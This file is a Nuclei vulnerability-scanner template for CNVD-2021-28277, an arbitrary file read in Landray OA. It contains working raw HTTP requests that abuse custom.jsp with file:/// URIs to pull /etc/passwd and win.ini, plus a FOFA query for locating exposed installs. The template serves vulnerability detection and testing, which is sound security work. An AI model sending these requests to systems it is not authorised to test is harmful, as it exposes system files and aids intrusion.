nuclei-templates/cnvd/2021/CNVD-2021-28277.yaml

45 lines
1.0 KiB
YAML

id: CNVD-2021-28277
info:
name: Landray-OA Arbitrary - Arbitrary File Retrieval
author: pikpikcu,daffainfo
severity: high
reference:
- https://www.aisoutu.com/a/1432457
- https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
metadata:
fofa-query: app="Landray OA system"
tags: landray,lfi,cnvd,cnvd2021
requests:
- raw:
- |
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"file:///etc/passwd"}}
- |
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"file:///c://windows/win.ini"}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "for 16-bit app support"
condition: or
- type: status
status:
- 200